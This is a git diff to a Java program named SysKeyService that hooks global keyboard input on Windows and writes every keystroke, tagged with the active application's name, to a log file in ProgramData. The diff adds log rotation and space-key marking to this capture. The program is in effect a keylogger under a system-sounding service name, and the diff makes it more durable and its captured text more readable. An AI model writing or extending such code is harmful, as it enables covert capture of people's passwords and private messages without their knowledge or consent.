diff --git a/src/main/java/ru/mcs/syskey/SysKeyService.java b/src/main/java/ru/mcs/syskey/SysKeyService.java index 16c5903..1d1d401 100644 --- a/src/main/java/ru/mcs/syskey/SysKeyService.java +++ b/src/main/java/ru/mcs/syskey/SysKeyService.java @@ -16,16 +16,24 @@ import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.StandardOpenOption; +import java.text.SimpleDateFormat; import java.time.LocalDateTime; import java.time.format.DateTimeFormatter; +import java.util.Date; +import java.util.concurrent.atomic.AtomicLong; public class SysKeyService implements NativeKeyListener { private static final Logger logger = LoggerFactory.getLogger(SysKeyService.class); - private static final Path LOG_FILE = Path.of(System.getenv("ProgramData"), "SysKeyService", "syskey.log"); + private static final String LOG_DIR = System.getenv("ProgramData") + "\\SysKeyService"; + private static final Path LOG_FILE_PATH = Path.of(LOG_DIR, "syskey.log"); + private static final long MAX_LOG_SIZE = 10 * 1024 * 1024; // 10 MB private static final User32 USER32 = User32.INSTANCE; private static final Kernel32 KERNEL32 = Kernel32.INSTANCE; private static final DateTimeFormatter DTF = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"); + private static final AtomicLong currentLogSize = new AtomicLong(0); + private static final Object fileLock = new Object(); + public static void main(String[] args) { try { initLogger(); @@ -38,9 +46,12 @@ } private static void initLogger() throws IOException { - Files.createDirectories(LOG_FILE.getParent()); - if (!Files.exists(LOG_FILE)) { - Files.createFile(LOG_FILE); + Files.createDirectories(Path.of(LOG_DIR)); + if (Files.exists(LOG_FILE_PATH)) { + currentLogSize.set(Files.size(LOG_FILE_PATH)); + } else { + Files.createFile(LOG_FILE_PATH); + currentLogSize.set(0); } } @@ -50,7 +61,7 @@ } private static void runAsService() { - logger.info("SysKey service started"); + logger.info("Sys key service started. Log directory: {}", LOG_DIR); Runtime.getRuntime().addShutdownHook(new Thread(() -> { try { GlobalScreen.unregisterNativeHook(); @@ -82,13 +93,81 @@ appName, keyText); - Files.writeString(LOG_FILE, logEntry, - StandardOpenOption.APPEND, StandardOpenOption.CREATE); + writeToLog(logEntry); } catch (Exception ex) { logger.error("Logging error: {}", ex.getMessage()); } } + private synchronized void writeToLog(String entry) { + synchronized (fileLock) { + try { + // Проверяем размер лога + if (currentLogSize.get() > MAX_LOG_SIZE) { + rotateLog(); + } + + // Записываем запись + Files.writeString(LOG_FILE_PATH, entry, + StandardOpenOption.APPEND, StandardOpenOption.CREATE); + + // Обновляем размер + currentLogSize.addAndGet(entry.getBytes().length); + } catch (IOException ex) { + logger.error("File write error: {}", ex.getMessage()); + } + } + } + + private void rotateLog() { + try { + // Формируем имя архивированного файла с датой + SimpleDateFormat dateFormat = new SimpleDateFormat("yyyyMMdd_HHmmss"); + String timestamp = dateFormat.format(new Date()); + String archiveName = "syskey_" + timestamp + ".log"; + Path archivePath = Path.of(LOG_DIR, archiveName); + + // Перемещаем текущий лог в архив + Files.move(LOG_FILE_PATH, archivePath); + + // Создаем новый файл лога + Files.createFile(LOG_FILE_PATH); + currentLogSize.set(0); + + logger.info("Log rotated: {}", archiveName); + + // Очищаем старые логи (сохраняем последние 10) +// cleanOldLogs(); + } catch (IOException ex) { + logger.error("Log rotation failed: {}", ex.getMessage()); + } + } + + private void cleanOldLogs() { + try { + Files.list(Path.of(LOG_DIR)) + .filter(path -> path.getFileName().toString().startsWith("syskey_")) + .sorted((p1, p2) -> { + try { + return Files.getLastModifiedTime(p2).compareTo(Files.getLastModifiedTime(p1)); + } catch (IOException e) { + return 0; + } + }) + .skip(10) // Сохраняем 10 последних файлов + .forEach(path -> { + try { + Files.delete(path); + logger.info("Deleted old log: {}", path.getFileName()); + } catch (IOException e) { + logger.error("Failed to delete old log: {}", e.getMessage()); + } + }); + } catch (IOException ex) { + logger.error("Log cleanup error: {}", ex.getMessage()); + } + } + private String getApplicationName(WinDef.HWND hwnd) { IntByReference pidRef = new IntByReference(0); try { @@ -131,7 +210,8 @@ try { return NativeKeyEvent.getKeyText(e.getKeyCode()) .replace("\n", "Enter") - .replace("\t", "Tab"); + .replace("\t", "Tab") + .replace(" ", "[Space]"); } catch (Exception ex) { return "KeyCode-" + e.getKeyCode(); }